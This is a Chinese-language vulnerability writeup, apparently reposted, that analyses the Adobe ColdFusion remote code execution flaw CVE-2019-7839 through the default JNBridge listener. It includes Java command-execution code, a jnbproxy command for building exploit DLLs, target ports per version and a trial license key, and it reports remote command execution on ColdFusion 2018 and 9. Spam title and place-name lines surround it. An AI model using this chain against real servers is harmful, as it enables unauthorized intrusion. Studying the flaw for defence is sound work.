中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何進行Adobe ColdFusion RCE CVE-2019-7839的漏洞分析

發布時間:2021-12-24 21:53:00 來源:億速云 閱讀:156 作者:柒染 欄目:安全技術

這篇文章給大家介紹如何進行Adobe ColdFusion RCE CVE-2019-7839的漏洞分析,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。

漏洞簡介

Adobe ColdFusion 是一個商用的快速開發平臺。它可以作為一個開發平臺使用,也可以提供Flash遠程服務或者作為 Adobe Flex應用的后臺服務器

2019年06月11日,Adobe 發布安全公告[1],修復了Adobe ColdFusion多個嚴重漏洞。其中有一個由Moritz Bechler提交的命令注入漏洞(CVE-2019-7839)。

2019年06月26日,Moritz Bechler 在 Bugtraq 上公布了遠程代碼執行漏洞(CVE-2019-7839)的部分細節[2],由于 JNBridge 組件存在缺陷,而 ColdFusion 默認開啟JNBridge組件,導致代碼執行漏洞。

漏洞影響

ColdFusion 2018 Update 3 及之前的版本

ColdFusion 2018 Update 10 及之前的版本

ColdFusion 11 Update 18 及之前的版本

<= ColdFusion 9

漏洞分析

根據 Moritz Bechler 披露的部分細節,是由于ColdFusion 默認開啟了 JNBridge listener 從而導致了漏洞。

先來了解一下JNBridge。

什么是 JNBridge

JNBridge 是一種領先的JAVA與.NET互操作的的產品,憑借JNBridge技術,Java 和.NET代碼無需交叉編譯器就可以實現對象共享。所有Java代碼運行在JVM上,而.NET代碼則運行在CLR上。在該方案下,JVM和CLR可以運 行在不同的機器上,也可以運行在一臺機器的不同進程上,甚至還能運行在相同的進程的不同應用程序域上。

下載 JNBridgePro,安裝完之后會有demo。試用license

jnbp-eval-v10.0#1899-2367-9451-2280這里我們嘗試使用.net去調用java,跑一下logDemo,了解下大致流程。

如何進行Adobe ColdFusion RCE CVE-2019-7839的漏洞分析

啟動 Java 服務端

根據 JNBridge 的安裝路徑,修改startJava.bat,運行

如何進行Adobe ColdFusion RCE CVE-2019-7839的漏洞分析

可以看到,JNBridge 服務端 listener 已開啟,監聽在8085端口。

構建 .Net 客戶端

根據 demo的指示文檔 logDemo.pdf,一步一步構建 .Net 項目。

如何進行Adobe ColdFusion RCE CVE-2019-7839的漏洞分析

運行

運行 .Net 項目,調用 Java 服務端,成功調用。

如何進行Adobe ColdFusion RCE CVE-2019-7839的漏洞分析

如何執行調用 java.lang.Runtime

之前流程有一步是將loggerDemo.javaClass轉成 logger.dll,試想一下,是否可以將java.lang.Runtime導成dll文件,供 .Net 客戶端引用,然后去調用 Java 服務端的java.lang.Runtime

嘗試一下

rt.jar引入 classpath

如何進行Adobe ColdFusion RCE CVE-2019-7839的漏洞分析

添加java.lang.Runtime

如何進行Adobe ColdFusion RCE CVE-2019-7839的漏洞分析

導出 runtime.dll

引入 .Net 項目中供調用

如何進行Adobe ColdFusion RCE CVE-2019-7839的漏洞分析

運行

如何進行Adobe ColdFusion RCE CVE-2019-7839的漏洞分析

成功調用到了 Java 服務端中的java.lang.Runtime,這也是這個漏洞的根源。

ColdFusion 中的 JNBridge

ColdFusion 中是默認運行了 JNBridge listener 的,并且是 Java 服務端,監聽端口是 6095(ColdFusion 2018)、6093(ColdFusion 2016)、6085(ColdFusion <=9/11)。

由于 Coldfusion 中帶的 JNBridge 版本不同,所以構造 payload 的方式有些差異。

ColdFusion 2016/2018

ColdFusion 2018 中的 JNBridge 版本是 v7.3.1,無法使用上面的的JNBridge v10去構造 payload,在 JNBridge 官網上可以下載一部分歷史版本[3],下載 v7.3版本。

編寫想要在 Java 服務端執行的代碼

String command = "whoami";
String [] commandArgs;
String os = System.getProperty("os.name");
System.out.println(os);
if(os.toLowerCase().startsWith("win")){
      commandArgs = new String[]{"cmd.exe", "/c", command};
  }else {
      commandArgs = new String[]{"/bin/bash", "-c", command};
  }

Runtime runtime = Runtime.getRuntime();
Process process = runtime.exec(commandArgs);

BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = br.readLine()) != null)
   {
       System.out.println(line);
   }
       br.close();

里面使用到了java.lang.Runtimejava.lang.Processjava.io.BufferedReaderjava.io.InputStreamReaderjava.lang.System,將相關類從rt.jar中導成runtime2.dll,供 .Net 客戶端引用。

根據 Java代碼重寫

如何進行Adobe ColdFusion RCE CVE-2019-7839的漏洞分析

這里面有個非常重要的 JNBShare.dll,這里使用自己安裝的 JNBridge 成功后生成的 JNBShare.dll,無法使用ColdFusion 中 JNBridge 的 JNBShare.dll,會報錯。

運行,*遠程的ColdFusion 2018(Linux平臺),成功返回結果。

如何進行Adobe ColdFusion RCE CVE-2019-7839的漏洞分析

ColdFusion 9/11

ColdFusion 9 內部的 JNBridge 版本是 v5.1,監聽端口是 6085。由于這個版本比較老了,沒找到安裝包,現在需要生成供我們引用的runtime2.dll和能用的JNBShare.dll。ColdFusion 內部的 JNBridge中的jnbproxyGui.exe無法構建 .net -&ampgt; java項目,也就是說GUI工具用不了,所幸的是命令行工具還可以用。

jnbproxy.exe,看下參數。

如何進行Adobe ColdFusion RCE CVE-2019-7839的漏洞分析

根據參數,生成runtime2.dll

jnbproxy /d C:\logDemo /cp C:\ColdFusion9\jnbridge\jre\lib\rt.jar /host localhost /n runtime2 /nj /pd n2j /port 6085 /pro b /pp C:\ColdFusion9\lib java.lang.Runtime java.lang.Process java.io.BufferedReader java.io.InputStreamReader java.lang.System至于 JNBShare.dll,因為內部的無法使用,安裝包又下載不到。幸運的是有人收藏了這個JNBShare.dll,谷歌搜索能夠找到,并且剛好是v5.1版本的。

運行,*遠程的 ColdFusion 9(windows平臺),返回命令執行結果。

如何進行Adobe ColdFusion RCE CVE-2019-7839的漏洞分析

關于如何進行Adobe ColdFusion RCE CVE-2019-7839的漏洞分析就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

巫溪县| 广丰县| 营山县| 洛扎县| 周口市| 江都市| 阿巴嘎旗| 禄劝| 大冶市| 达日县| 尚志市| 炉霍县| 长治市| 饶平县| 景泰县| 靖西县| 和静县| 太原市| 新干县| 荔波县| 剑阁县| 安岳县| 华蓥市| 洪江市| 濮阳县| 海门市| 灯塔市| 普兰店市| 双辽市| 锡林浩特市| 积石山| 扎赉特旗| 陈巴尔虎旗| 桃园市| 凤冈县| 宣恩县| 漳浦县| 丹东市| 应城市| 北辰区| 赤壁市|